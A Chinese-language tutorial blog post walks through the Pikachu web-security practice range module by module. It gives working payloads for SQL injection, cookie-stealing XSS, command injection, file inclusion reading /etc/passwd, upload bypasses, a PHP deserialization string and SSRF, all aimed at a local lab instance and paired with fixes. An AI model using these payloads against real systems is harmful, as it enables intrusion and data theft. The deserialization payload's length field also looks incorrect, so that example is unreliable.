很多人第一次接触安全靶场,要么直接上DVWA,要么被推荐各种综合环境,但我个人练下来,真正适合系统过一遍的,其实是Pikachu。这个靶场表面看是个皮卡丘主题的练习平台,内里却把Web安全里最常见的几类问题都做成了独立关卡,每个题目都附带安全编码建议,通关等于同时把攻击思路和修复方案学了一遍,这是很多靶场没做到的。文章会按照我实际通关的顺序,把每个模块的破题思路、关键原理和踩坑点完整过一遍,适合刚开始练靶场的新人、准备安全岗位面试的求职者,以及需要带新人做实训的团队参考。
1. 为什么是Pikachu:靶场选型、部署与运行环境准备
1.1 Pikachu和DVWA、SQLi-Labs等靶场的定位差异
先说结论:DVWA侧重漏洞环境的整体体验,SQLi-Labs是SQL注入专项练习,Upload-Labs是文件上传专项,而Pikachu更像一本Web安全目录。它把暴力破解、SQL注入、XSS、CSRF、RCE、文件包含、文件上传、反序列化、SSRF、越权、目录遍历、敏感信息泄露这些常见问题全部做成了独立页面,且每个页面都明确标注了问题成因和修复建议。
这一点对新手极其重要。我在带人的时候发现,很多人在DVWA里能打通SQL注入,但换个参数名、换个查询位置就懵了,原因是只记住了步骤,没理解原理。Pikachu的设计天然强迫你先看“安全编码”部分,再回到页面去验证,攻击和防御是一起学的。另外Pikachu的题目难度梯度比DVWA更平滑,从最基础的表单暴力破解开始,一直到PHP反序列化、SSRF这种偏进阶的内容,中间没有断崖。
如果你已经玩过DVWA,可以直接把Pikachu当作查漏补缺的清单;如果你是纯新人,建议按Pikachu默认的菜单顺序走,不要跳关。
1.2 Docker部署与手动部署的取舍
Pikachu官方提供了两种常见部署方式:一种是基于PHP集成环境手动搭建,一种是用Docker镜像。我个人更推荐Docker方式,倒不是手动不行,而是手动搭建的坑基本都集中在PHP版本和扩展上,Pikachu的老代码在PHP 7.x和PHP 8.x下表现不一致,有些函数在新版本里被移除或行为变化,会导致页面白屏、功能异常。
Docker部署只需要一条核心命令:
bash复制docker run -d -p 8080:80 area39/pikachu
这里的8080是你本机访问端口,可以按需修改。启动之后,浏览器访问http://127.0.0.1:8080,看到皮卡丘的首页就说明环境起来了。首次使用需要初始化数据库,进入首页后点击“初始化”按钮,Pikachu会自动创建数据库和表结构。
提示:如果你的Docker镜像拉取速度慢,可以先配置国内的镜像加速器,再执行上面的命令。不用纠结镜像名称,Docker Hub上area39/pikachu是维护比较活跃的一个。
手动部署的流程也不复杂,但要注意以下三点:
- PHP版本建议选择7.x,不建议直接上8.x正式环境。
- 需要开启
php_curl、php_mysqli等扩展,缺少curl扩展会导致后面的SSRF模块无法正常发起请求。 - 站点根目录要指向Pikachu的根目录,并且保证
inc目录里的数据库配置文件里的账号密码和你本地MySQL一致。
手动部署时最常见的错误是数据库连接失败,表现为页面能打开但所有题目点进去都报错。这时候优先检查inc/config.inc.php里的数据库配置,确认主机、账号、密码、库名都正确,并保证MySQL已经启动。
1.3 启动失败排查:从端口占用到PHP扩展缺失
启动失败是高频问题。Docker方式下,先执行docker ps -a看容器状态。如果容器一直处于退出状态,用docker logs <容器名>查看日志,多数原因是端口被占用或者镜像内启动脚本执行失败。换个宿主端口通常能解决端口占用问题。
手动方式下,启动失败的表现更丰富:
- 首页能开,但页面显示乱码或空白:大概率是PHP版本兼容问题,换PHP 7.2-7.4试试。
- 打开页面时提示
Call to undefined function ...:说明缺少对应扩展,看函数名去php.ini里开启对应扩展。 - 点“初始化”没反应或报SQL错误:数据库连接或SQL导入权限问题,检查MySQL账号是否有建库建表权限。
我自己曾经遇到过一个问题:Docker里容器正常启动了,页面前端正常,但点击“SQL注入”相关题目时报404。排查了半天,发现是镜像里的路径大小写问题和宿主机挂载目录冲突。如果遇到类似情况,最省事的方式是关掉容器,重新起一个不带额外挂载的干净实例,先确认默认环境没问题,再考虑自定义配置。
1.4 前端页面与数据初始化:先别急着做题
Pikachu首页有两个容易忽略的入口:一个是“初始化”,一个是“安全编码”提示。建议进入环境后,先点一次“初始化”,再开始做题。如果不初始化,部分模块会出现页面能打开但提交后无响应的情况。
另外,Pikachu的每个题目页面下方都会有“提示”,这个不是摆设,而是破题的关键线索。比如暴力破解页面会提示“基于表单的暴力破解”,SQL注入页面会提示“请尝试注入点”。我的习惯是每道题至少先看两遍提示,如果提示看不懂,再看安全编码部分,因为安全代码里会暴露后端是用了拼接还是预编译,拼接必然有注入点,预编译则基本安全。
建议:做题时准备一个表格,记录每道题的类型、注入点、利用方式、修复方案。通关一遍后,这张表就是最好的复习资料。别高估自己的记忆力,靶场题目太多,隔两周就会忘。
2. 从暴力破解到验证码绕过:认证类题目的通关逻辑
2.1 基于表单的暴力破解:Burp Suite抓包与字典构造
Pikachu的第一个实战模块就是“基于表单的暴力破解”,页面就是一个简单的登录框,输入任意用户名密码后回显“登录失败”。这时候不要靠手工猜,直接用Burp Suite抓包。
打开Burp,设置代理为127.0.0.1:8080,浏览器访问靶场并提交一次请求,Burp的HTTP History里能看到一条包含username=...&password=...的POST请求,右键发送到Intruder。
Intruder里做两处配置:
- 攻击类型选择
Cluster bomb,因为用户名和密码都是未知的。 - 把
username和password两个参数的值设为变量,分别挂载字典。
用户名和密码的字典可以用Burp自带的常用字典,路径在/usr/share/wordlists(Kali里自带),也可以直接用Pikachu默认的用户名猜测。这里有个小技巧:先试常见用户名如admin、test,配合弱密码字典跑一轮,命中率往往很高。Pikachu默认的测试账号密码一般都能在题目的源码注释或提示里找到,如果你走的是“通关”而不是“盲打”路线,可以直接用提示里的账号。
爆破成功后,Intruder结果里哪条HTTP响应的长度和失败响应不一致,哪条就是正确凭据。这是一个非常实用的经验:不要一个个肉眼看状态码,直接按Response Length排序。
2.2 验证码失效的两种场景:前端校验与后端不刷新
“验证码绕过”模块是很多人的第一个认知冲击点。Pikachu在这个模块里做了两级设计,第一级是验证码在前端校验,第二级是验证码在后台校验但验证后不刷新。
第一级的破法很直接。用Burp抓包后你会发现,验证码校验逻辑写在JavaScript里,真正的登录请求根本没有带验证码字段。你只需要绕过前端脚本,直接构造登录请求,或者把页面里的验证码校验函数禁用掉,就能继续爆破。本质问题是服务端完全信任了前端校验,没有在后台重新验证。
第二级是个经典缺陷:验证码校验后没有立即失效。正常流程应该是无论用户输入的验证码正确还是错误,校验过一次之后,当前验证码就必须作废,下次必须重新获取。但这里后端只校验验证码是否为当前会话的正确值,校验通过后不销毁session里的值,导致同一个验证码可以反复使用。
利用方法就是:先正常访问页面,获取一个有效验证码,然后用Burp的Repeater或Intruder反复提交爆破请求,每次都用同一个验证码。因为验证码一直有效,后端每次都能通过验证码校验,剩下的就是爆破用户名和密码了。
这里我给新人的建议是:理解验证码的本质不是“让人类辨认”,而是“让自动化工具增加成本”。前端校验的验证码形同虚设,后端不过期验证码则是把一次性令牌用成了永久令牌,这两种错误在真实环境中都不少见。
2.3 Token防CSRF带来的登录绕过:先取Token再爆破
Pikachu里还有一类认证题目,登录表单里带着一个token字段,每次刷新页面都会变化。如果直接爆破,会因为token不匹配而被拒绝。
碰到这种情况,不要慌,思路是先用Python脚本或Burp的Macro功能自动获取token,再放在爆破请求里提交。手工操作用Burp的“Recover from responses”功能也能做到,但初学时用Python脚本理解更透彻。
一个最简单的Python脚本逻辑:
python复制import requests
from bs4 import BeautifulSoup
session = requests.Session()
url = "http://127.0.0.1:8080/vul/burteforce/bf_token.php"
resp = session.get(url)
soup = BeautifulSoup(resp.text, "html.parser")
token = soup.find("input", {"name": "token"})["value"]
data = {"username": "admin", "password": "123456", "token": token}
resp = session.post(url, data=data)
print(resp.text)
这段代码的关键是每次POST前都先GET一次页面,提取最新的token。这个“先取令牌再提交”的思路和后面CSRF模块、业务逻辑模块是共通的。理解了这层,再回头看Pikachu认证类题目,你会发现它们其实是在训练同一件事:不要把自动化工具当成魔法,要理解HTTP请求中每个参数从哪来、到哪里去。
3. SQL注入、XSS与CSRF:三大经典问题背后的原理串讲
3.1 SQL注入从数字型到搜索型:注入点的变化决定报错方式
Pikachu的SQL注入模块做了好几个变体:数字型注入、字符型注入、搜索型注入、报错注入、布尔盲注、时间盲注、宽字节注入。如果你把这些题目依次做一遍,就能真实感受到注入位置的改变如何影响攻击语句的写法。
数字型注入是最简单的,直接在URL里把id参数改成1 and 1=1,页面正常,改成1 and 1=2,页面异常,基本就能判定存在注入。字符型注入则需要考虑引号闭合,比如1' and '1'='1。搜索型注入比较容易被新人忽略,因为它看起来只是一个搜索框,实际后端可能是SELECT ... WHERE name LIKE '%$keyword%',你可以在搜索框里输入%或'来试探闭合方式。
在Pikachu的报错注入题目里,可以利用updatexml和extractvalue两个MySQL函数,让数据库把查询结果直接报在错误信息里。比如:
sql复制1' and updatexml(1, concat(0x7e, (select database())), 1) -- '
这条语句的核心是用concat拼出报错内容,用updatexml制造XPath错误并带出查询结果。实际做题时,报错信息里的~符号后面就是数据库名。利用这种报错方式,可以逐步把表名、字段名、数据都拖出来。
我做这类题的建议是:务必能手写一遍联合查询注入的完整流程,包括用order by猜列数、用union select对齐字段、用group_concat聚合输出表名。Pikachu的题目虽然可以用sqlmap一把梭,但手工注入一次之后,脚本注入时的参数选项才会真正理解。
3.2 时间盲注与布尔盲注:sqlmap自动化前的必懂原理
Pikachu的盲注模块做了两层:一个页面没有报错回显,只有“查询结果”和“无查询结果”两种状态,这就是布尔盲注;另一个页面直接没有任何回显,只能靠页面响应时间判断条件真假,这就是时间盲注。
布尔盲注的手工思路是:先用length(database())猜数据库名长度,再用substr(database(),1,1)逐字猜字符。时间盲注则利用sleep(5)制造延时,比如if(ascii(substr(database(),1,1))>100, sleep(5), 1),如果条件成立页面会明显卡顿,从而逐字判断。
道理很简单,但手工做起来很磨人。所以实际通关时,很多人会选择直接上sqlmap:
bash复制sqlmap -u "http://127.0.0.1:8080/vul/sqli/sqli_blind.php?name=1" --batch --dbs
但我不建议一上来就挂sqlmap,而是先手工确认注入点存在,再用sqlmap导出数据。因为如果你连注入点都没找到,sqlmap给的结果你也不知道对不对。sqlmap跑的时候注意加--dbms=mysql指定数据库,可以省去很多无用测试。
Pikachu还有一个宽字节注入模块,这个对新手比较绕。宽字节注入的成因是后台使用了addslashes之类的转义函数,在单引号前加了反斜杠,但如果数据库编码是GBK,我们可以通过输入%df'这类多字节字符,让转义反斜杠被“吃掉”,从而逃逸出单引号。这个题目建议在MySQL命令行里手动执行几条语句感受一下字符集转换的过程,光看教程很难形成记忆。
3.3 XSS三种类型:反射型、存储型、DOM型的触发与验证
XSS模块很多人觉得简单,就是弹个alert。但Pikachu的设计是为了让你区分三种类型在实际场景中的差别。
反射型XSS的交互过程是:构造带恶意脚本的URL,诱导受害者点击。Pikachu的表单输入点会原样回显,你提交<script>alert(document.cookie)</script>,页面直接弹出cookie。存储型XSS则是把恶意脚本提交到服务端后,任何访客打开留言板页面都会触发脚本,危害更大。DOM型XSS的特殊之处在于服务端不参与,完全在浏览器端的DOM操作中发生,所以Burp里看到的数据包和响应内容可能完全正常,只有打开浏览器开发者工具才能看到DOM解析过程。
验证XSS是否真的被渲染,最简单的方式是看响应头里的Content-Type和输入点是否被HTML实体编码。Pikachu的题目里,有的输入点会过滤script关键字,有的不会,这就逼着你尝试<img src=x onerror=alert(1)>之类的其他标签。经验是:过滤了script不代表过滤了事件属性,永远多试几种载荷。
这一节的实际收获是:XSS的关键不只是构造payload,而是理解浏览器何时将用户输入当作代码执行。在真实工作里,一个存储型XSS的修复往往是要区分“输出上下文”的,同样的输入放在HTML标签内、属性内、script代码块内,需要的编码方式完全不同,Pikachu的练习可以帮你建立这种上下文意识。
3.4 CSRF的GET/POST差异:为什么不能只靠Referer
CSRF(跨站请求伪造)模块应该算Pikachu里最贴近实际业务的题目之一。它的核心是:用户已经登录了某个网站,浏览器自动携带用户的Cookie去访问另一个诱导链接,服务端因为没有校验请求来源,就把这个请求当成正常用户操作执行了。
Pikachu先提供了一个“修改个人信息”的页面,抓包可以发现,修改邮箱的请求是用GET发送的,参数直接出现在URL里。这就很容易伪造,构造一个含恶意链接的页面,诱导受害者点击,受害者的浏览器就会向靶场发送一个修改邮箱的GET请求,从而实现CSRF攻击。
后来升级到POST方式,看起来比GET安全一点,但仅仅是把参数挪到了请求体里。攻击者可以构造一个自动提交表单的HTML页面,用JavaScript在页面加载时自动POST请求。Pikachu的这个题就是在训练你理解:POST不是安全边界,只要请求里携带的Cookie自动被浏览器带上,CSRF就可能发生。
真正的修复方式有几种:在请求里加入不可预测的Token,校验同源,或者使用自定义Header配合CORS策略。Pikachu的安全编码提示里也展示了Token方案,而这个Token方案又和前面登录爆破模块的Token提取思路完全串联起来了。打通了这个知识点,你再看很多实际的Web应用,会一眼看出哪些接口缺了CSRF防护。
4. RCE、文件包含与文件上传:从命令执行到边界突破
4.1 RCE的eval与exec:命令执行和后端代码执行要分清
RCE模块,也就是远程命令执行,Pikachu里做了两类:一类是后端直接用eval()执行用户输入的PHP代码,另一类是调用系统命令拼接执行。
先看第一类,输入框里提交phpinfo();,如果后端是直接把输入交给eval执行,页面就会输出PHP的配置信息,这就是代码执行。这类问题的危害极大,因为攻击者可以调用任意PHP函数,比如用file_put_contents直接写一个WebShell。
第二类是命令执行。Pikachu页面提供了一个“ping”功能,输入IP地址,后端执行ping $ip。这里没有过滤,所以可以输入127.0.0.1 && whoami,或者127.0.0.1 | whoami,观察命令是否被执行。这里有个细节值得注意:&&和|的差异。ping 127.0.0.1 && whoami要等ping执行完才执行whoami,而ping 127.0.0.1 | whoami是管道符号,直接输出whoami结果。实际题目里哪种能用要看后端拼接方式,通常都要试一遍。
还有一类尝试是用分号;或者换行符%0a绕过过滤。Pikachu的RCE题目没有做太多过滤,算是入门版。真正的生产中,命令注入通常藏在各种回调函数、业务逻辑里,Pikachu帮你建立了基本的手感:凡是输入可能被拼接到命令里的地方,都必须高度警惕。
4.2 文件包含漏洞:本地包含与PHP伪协议
Pikachu的文件包含模块分为本地文件包含和远程文件包含两类。第一类会让你通过URL参数控制包含的文件路径,比如?filename=../../../../etc/passwd,如果页面里回显了passwd文件内容,说明本地包含是存在的。
这里的核心经验是:路径穿越的../层级要足够多,又不至于超出根目录。不同环境下Web根目录的深度不同,多试几层不丢人。另外一个关键操作是使用PHP伪协议,比如php://filter/read=convert.base64-encode/resource=index.php,这个构造可以把源码文件以base64编码的方式读出来,然后你再解码查看源码。
远程文件包含则需要目标环境开启allow_url_include,测试方式是把参数改成http://你的服务器/shell.txt。如果后端直接包含了远程文件,你就可以在远程文件中放入恶意PHP代码,从而控制目标站点。Pikachu的题目在这点上做了区分,你需要在题目过程中感受开启与关闭allow_url_include对结果的影响。
这个模块容易犯的错是把“文件包含”和“目录遍历”混在一起。文件包含强调的是被包含的文件会被当作PHP执行,而目录遍历只是读取文件内容。Pikachu把这两块分开做了,做题时一定要分清:看到源码被解析,那是包含执行;看到源码以文本形式展示,那是泄露读取。
4.3 文件上传漏洞:MIME类型绕过与扩展名黑名单
文件上传模块是每个做Web安全的人都要反复练的点,因为实战中出现频率极高。Pikachu做了两层:第一层仅在前端用JavaScript检查文件MIME类型,第二层在后端用MIME和扩展名黑名单校验。
第一层的绕过非常简单,Burp抓包,把上传请求里Content-Type字段从image/png改成text/php,或者按后端预期的类型改,就能骗过前端校验。这说明前端校验只是用户体验的辅助,不是安全边界。
第二层如果扩展名黑名单只拦截了php,可以尝试大小写变体.pHp,双写.pphphp,或者使用php3、php5这些冷门扩展名。但Pikachu的设计相对基础,通常改个大小写或合理变体就能过。如果遇到“保存路径”可控,还能配合文件包含模块进行联动利用:上传一个包含PHP代码的图片文件,再用文件包含去执行它。
做上传题目有个固定习惯:上传成功后要确认文件是否真的可以被访问和执行。有些环境里,上传目录没有脚本执行权限,此时即使上传成功也白搭。可以用Burp访问上传文件URL,看返回内容是否为HTML渲染,再决定下一步。
4.4 PHP反序列化与对象注入:从payload构造到POP链理解
反序列化模块可能是Pikachu里劝退率最高的一节。题目给了一段PHP代码,里面有一个类,类中有__destruct魔术方法,当对象被销毁时会执行某个危险函数,而整个站点用一个unserialize来接收用户输入。
实际上手时,你需要构造一个序列化字符串,让这个字符串反序列化后生成对应类的对象,触发危险方法。Pikachu的题目相对简单,类似:
php复制class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = unserialize($_GET['data']);
构造payload时,只要把test属性改为phpinfo(),再序列化:
php复制O:1:"S":1:{s:4:"test";s:15:"phpinfo();";}
把这段放到URL参数里,页面就会执行phpinfo()。我第一次做这个题时,被“O:1”的格式搞懵了,后来自己写PHP脚本直接serialize()一个对象,把输出粘出来用,就一目了然了。所以这里我的建议是:不要手写序列化字符串,直接在靶机或本地PHP环境里用代码生成。
理解了这个最小的例子,再看真实环境里的复杂POP链就比较有基础了。虽然Pikachu不会让你挖很深的反序列化链,但至少建立了一个概念:反序列化输入的信任边界一旦被突破,魔术方法就是攻击入口。这个意识比背几个payload更重要。
5. SSRF、越权、目录遍历与敏感信息泄露:容易被忽视的确定性风险
5.1 SSRF的两种协议:curl扩展与file协议读取
SSRF(服务端请求伪造)模块在Pikachu里做成了一个“根据URL获取图片”的功能。你输入一个URL,后端会去请求这个URL并把内容返回,这时候就可以尝试让它请求内网地址或本地文件。
第一个测试是http://127.0.0.1:8080/,如果页面返回了靶场自身的首页内容,说明服务端发起了请求并回显了响应。更强大的是配合file://协议,输入file:///etc/passwd,如果后端没有限制协议,就能直接读取服务器上的本地文件。
这里有个容易忽略的细节:SSRF能不能读出内容,取决于后端是否把响应反馈给前端。有些场景下,SSRF不具备回显,只能做内网端口扫描或盲打。Pikachu里这个模块是有回显的,所以练习起来比较直观,但你也要顺手试一下“无回显”的思路,比如用Burp Collaborator或者自己的VPS看有没有请求打过来。
Pikachu的SSRF题目还和文件包含有个对比价值:文件包含是服务端把本地文件包含进脚本执行,SSRF是服务端作为客户端去请求指定地址。前者目标是本机文件,后者目标是任意可达网络资源。这两个容易混,放在一起学效果更好。
5.2 水平越权与垂直越权:为什么只改一个ID就能访问他人数据
越权模块,Pikachu拆成了水平越权和垂直越权。水平越权的场景是:你登录了一个普通用户A,把请求里的用户ID改成B,就能查看或修改B的信息。垂直越权则是普通用户去访问管理员才有的接口或页面。
实际做题时,水平越权的操作非常“轻”:用户A的查看个人信息请求,URL里有个username或id参数,改成另一个用户名或ID,页面就返回了别人的信息,这没有任何高深的技术,纯粹是服务端在鉴权时只校验了“是否登录”,没有校验“数据属于谁”。这个知识点在面试里经常被问到,因为很多新人只知道XSS和SQL注入,不知道越权同样严重。
垂直越权的测试方式通常是先以管理员身份登录,抓取一个管理员功能的请求,再切换到普通用户会话,重放这个请求。如果普通用户也能成功执行,说明接口缺少功能级权限校验。Pikachu的这个模块提供了一个模拟菜单,你可以体会一下“前台不回显,但后台接口能直接调用”的场景。
我的通关心得是:越权题目不要停留在会改参数这一步,要能画出一条“数据归属链路”——从请求到控制器,到服务层,到数据查询,每一层是否校验了当前用户的角色和资源归属。Pikachu虽然只是一个简单靶场,但它暴露的问题在真实系统里几乎无处不在。
5.3 目录遍历与敏感信息泄露:看似低危,却是信息收集的宝藏
目录遍历模块的思路是:后端在读取文件时直接拼接了用户传入的文件名,导致可以通过../跳出预期目录,读取服务器上的任意文件。Pikachu提供的测试目标是读取一些敏感文件,你需要通过调整../../的层数找到key.txt之类的内容。
这个模块练的是路径感知能力。实际测试时,我会用一个Python脚本自动生成不同层数的../,逐一访问并匹配关键字。手工也可以,但层数一多就容易漏。
敏感信息泄露模块则更像一个“找茬”游戏:页面里藏着备份文件、测试接口、错误信息里的数据库账号、注释里的源码路径等。Pikachu把常见泄露点做成了小题目,你需要用目录扫描工具或手工浏览找到它们。这类问题虽然在漏洞评级里往往不算高危,但却是真实攻击链的前奏,一个泄露的备份文件可能包含数据库密码,一条报错日志可能暴露内网IP,所以这个模块练的是细心。
dirsearch或御剑这类目录扫描工具在这里非常实用,但注意要先想清楚字典生成逻辑。比如备份文件常见的命名规则是index.php.bak、index.php~、index.php.swp,这些后缀比随机爆破更重要。
5.4 通关之后的巩固建议:从“会做题”到“能交报告”
Pikachu全部通关不等于结束,真正的价值在于把每个模块整理成一套可复用的检测思路。我的做法是通关后重新走一遍,但这次不看提示,直接针对每个页面写出一份“测试清单”,例如:
- 进入登录页,先抓包,看是否有表单token、验证码是否在后端校验、失败响应是否有区别。
- 拿到一个查询参数,先分别测试数字型和字符型闭合,再尝试报错注入、布尔盲注、时间盲注。
- 发现上传功能的接口,先确认允许的Content-Type和扩展名,再测试是否可解析执行。
- 修改个人信息的接口,先检查是否有CSRF Token,再检查请求方法。
- 查看数据的接口,先改一个ID或用户名,验证水平越权。
这份清单比任何笔记都更有用,因为它记录了你看待一个Web应用时的思维路径。真正面试或工作的时候,没人会问你“Pikachu第几关怎么过”,但会问你“给你一个站点,你从哪里开始测”,Pikachu训练的就是这个起点。
另外一个推荐是,通关后打开Pikachu的源码目录,逐个文件对照安全编码提示看一遍。例如sqli.php里用的是字符串拼接还是参数化查询,xss.php里是否有htmlspecialchars,upload.php里有没有检查getimagesize。这个过程会把攻击面上的知识补齐到防御面上,比单纯刷题有用得多。
我个人通关后的习惯是:把每个模块的request包保存成Burp的XML文件,再用一个简单的Markdown表格汇总成册。表格列包含模块名、请求URL、关键参数、利用过程、修复建议、是否自动化可用。这样一份文档,既能在后续做渗透测试报告时当模板参考,又能在带新人时直接拿来当教案。
如果你正准备找安全工作,建议把Pikachu的越权、上传、反序列化这几个模块的实战记录整理成个人项目经验。面试官看重的不只是你会不会用sqlmap,而是有没有深入理解一个请求从发起到落地的完整链路。Pikachu的价值,恰恰在于它用十几道题把这条链路的各个节点都演了一遍。
